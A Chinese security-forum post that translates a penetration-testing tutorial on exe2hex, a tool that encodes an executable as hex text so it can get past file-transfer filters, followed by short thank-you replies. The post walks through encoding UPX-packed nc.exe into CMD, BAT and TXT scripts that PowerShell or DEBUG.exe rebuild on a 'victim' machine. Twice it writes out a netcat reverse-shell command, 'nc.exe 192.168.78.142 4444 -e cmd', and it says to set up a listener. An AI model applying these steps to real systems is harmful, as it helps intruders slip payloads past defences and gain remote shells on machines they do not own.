飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 3413|回复: 8

[经验分享] [翻译][原创]绕过文件传输过滤器:Exe2Hex

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-3-5 12:19:16 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-3-7 17:44 编辑

    备注
    作者: Harshit Rajpal
    翻译:梦幻的彼岸

    简介
    Exe2hex是一个由g0tmilk开发的工具,可以在这里找到。该工具将EXE转录成一串十六进制字符串,这些字符串可以通过DEBUG.exe或Powershell还原成原始EXE文件。然后可以在受害者机器上执行这个脚本,再次构建一个EXE并执行它。这对于系统管理员阻止EXE文件的传输/下载/上传/电子邮件的高级渗透测试场景很有帮助。渗透测试人员可以使用这个工具绕过这些过滤器。在这篇文章中,我们展示了4种这样的方法。
    目录
    • 背景介绍
    • Exe2hex CMD脚本(PoSH方法)
    • Exe2hex URL编码的CMD脚本(PoSH方法)
    • Exe2hex BAT脚本(DEBUG.exe方法)
    • Exe2hex STDIN到CMD脚本(PoSH方法)
    • Exe2hex TXT文件(DEBUG和PoSH方法)
    • 总结


    背景介绍
    DEBUG.exe是Windows中默认可用的可执行文件,帮助用户排除程序的故障。它还有一个功能,就是可以将一系列十六进制的字符串还原成一个可执行文件。通过Powershell也可以实现同样的功能。方法非常简单:
    第1步:选择一个EXE
    第2步:使用UPX对其进行压缩
    第3步:使用exe2hex将其转换为一个包含十六进制字符串的文件
    第4步:将该文件传输到受害者系统中
    第5步:将文件还原为exe并执行
    让我们从压缩一个exe文件开始。我们将使用一个名为UPX的工具。
    1.jpg
    正如你所看到的,有许多选项可以压缩一个文件。我们将使用-9过滤器,通常提供50%的压缩率。
    [AppleScript] 纯文本查看 复制代码
    upx -h
    cp /usr/share/windows-resources/binaries/nc.exe .
    ls -lah nc.exe
    upx -9 nc.exe
    ls -lah nc.exe

    2.jpg
    注意:你可以通过使用exe2hex工具的-cc过滤器来实现同样的目的。
    Exe2hex CMD脚本(PoSH方法)
    现在我们的exe已经被压缩,我们可以使用exe2hex将其转换为cmd文件。这个cmd文件有多个十六进制的字符串,你可以在下面看到。已经创建了一个参数P,将这些转换后的十六进制字符串附加到一个名为 "nc.hex "的临时文件中。

    [AppleScript] 纯文本查看 复制代码
    exe2hex -x nc.exe -p nc.cmd
    head nc.cmd

    3.jpg
    在文件的末尾,你可以看到一个Powershell命令,它正在将十六进制字符串恢复到exe文件中,并删除nc.hex。
    [AppleScript] 纯文本查看 复制代码
    tail -n 3 nc.cmd

    4.jpg
    Exe2hex URL编码的CMD脚本(PoSH方法)
    我们在上面看到的可以重复使用。同样的脚本也可以用-e选项进行URL编码。
    [AppleScript] 纯文本查看 复制代码
    exe2hex -x nc.exe -e -p nc.cmd
    head -n 5 nc.cmd

    5.jpg
    现在,我们可以将这个CMD文件转移到受害者系统,并使用命令提示符执行它。正如你可能观察到的,在执行完成后,会生成一个压缩后的nc.exe文件。
    [AppleScript] 纯文本查看 复制代码
    @echo off
    nc.cmd
    nc.exe 192.168.78.142 4444 –e cmd

    6.jpg
    Exe2hex BAT脚本(DEBUG.exe方法)
    到目前为止,我们已经看到了如何使用Powershell将十六进制还原成exe文件。以同样的方式,DEBUG.exe文件也可以被使用。Exe2hex可以像这样生成一个bat文件:
    [AppleScript] 纯文本查看 复制代码
    exe2hex -x nc.exe -b nc.bat
    head -n 5 nc.bat
    tail -n 7 nc.bat

    7.jpg
    之后,你可以在windows上运行bat脚本,它将创建一个exe文件。如果它向你抛出一个错误,你需要在环境变量中添加DEBUG.exe的路径。正如你所看到的,nc.exe现在已经成为一个可执行文件了。
    8.jpg

    Exe2hex STDIN到CMD脚本(PoSH方法)
    该工具还可以接受来自STDIN的输入。这在互联网上有一个可执行文件,需要使用curl/wget等工具下载,并且有过滤器来阻止它的情况下可能很有用。

    [AppleScript] 纯文本查看 复制代码
    cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd

    767964_BWDFWZ34FVV7U7S.jpg
    -s过滤器选项负责从STDIN读取。用这个选项生成的cmd文件看起来有点不同,因为生成的文件名称是 "binary.hex",而最终的exe文件是 "binary.exe"
    767964_NR85XFWASAPAC5G.jpg
    它现在可以运行了!
    767964_TA4PWJMAF7W36EC.jpg
    Exe2hex TXT文件(DEBUG和PoSH方法)

    我们把最好的留到最后。该工具还可以转换EXE文件的十六进制字符串txt文件。这对于有高级过滤器的情况非常有用。

    [AppleScript] 纯文本查看 复制代码
    exe2hex -x nc.exe -b nc.txt
    head -n 5 nc.txt
    exe2hex -x nc.exe -p nc.txt
    head -n 5 nc.txt

    767964_J5AWHMVS692VMTF.jpg

    还有一个过滤器是-l过滤器选项,它指定了每一行的字节数。
    [AppleScript] 纯文本查看 复制代码
    exe2hex -x nc.exe -l 10 -p nc.txt
    head -n 5 nc.txt
    767964_BFBS27P7EMDFQ7K.jpg
    现在,人们可以使用命令提示符在受害者机器上轻松地重命名该文件,或将其复制为不同的扩展名(可运行的脚本),然后像下面这样运行:
    [Bash shell] 纯文本查看 复制代码
    copy nc.txt nc.cmd
    @echo off
    nc.cmd
    nc.exe 192.168.78.142 4444 -e cmd

    767964_ANEPEHU35S6KNPE.jpg
    如果你尝试了上述的方法,你必须在你的kali机器上设置一个监听器,并尝试运行这个可执行文件。正如你所看到的,这个EXE文件已经正常工作了
    767964_ATU3TA7ZTEQNCV7.jpg
    总结

    在渗透测试过程中,经历过许多场景,其中无论是代理还是WAF有一些文件的上传/下载过滤器。我们刚刚介绍了一种使用exe2hex绕过这些防御机制的方法。希望你喜欢这篇文章。谢谢你的阅读。
    作者: Harshit Rajpal 是一名信息安全研究员和思想家,联系方式在这里










    评分

    参与人数 1威望 +1 飘云币 +1 收起 理由
    tiantian89 + 1 + 1 PYG有你更精彩!

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情
    开心
    昨天 18:46
  • 签到天数: 1104 天

    [LV.10]以坛为家III

    发表于 2022-3-5 16:24:49 | 显示全部楼层
    这编码是原文件的2倍大小!使用BASE64编码是原文件的1.5倍大小!
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    昨天 18:46
  • 签到天数: 1104 天

    [LV.10]以坛为家III

    发表于 2022-3-5 16:27:44 | 显示全部楼层
    1.png
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    昨天 09:25
  • 签到天数: 526 天

    [LV.9]以坛为家II

    发表于 2022-3-5 20:28:17 | 显示全部楼层
    慢慢学习研究下,多谢
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2 小时前
  • 签到天数: 1481 天

    [LV.10]以坛为家III

    发表于 2022-3-6 07:57:28 | 显示全部楼层
    感谢楼主 学习了
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2024-1-29 11:22
  • 签到天数: 232 天

    [LV.7]常住居民III

    发表于 2022-3-7 09:04:17 | 显示全部楼层
    谢谢分享,支持
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2023-5-13 23:22
  • 签到天数: 853 天

    [LV.10]以坛为家III

    发表于 2022-3-7 11:27:40 | 显示全部楼层
    感谢楼主分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2024-1-29 11:22
  • 签到天数: 232 天

    [LV.7]常住居民III

    发表于 2022-3-8 08:43:00 | 显示全部楼层
    谢谢分享,支持
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2024-3-27 22:26
  • 签到天数: 387 天

    [LV.9]以坛为家II

    发表于 2022-3-9 13:07:49 | 显示全部楼层
    真是高手,学习了
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表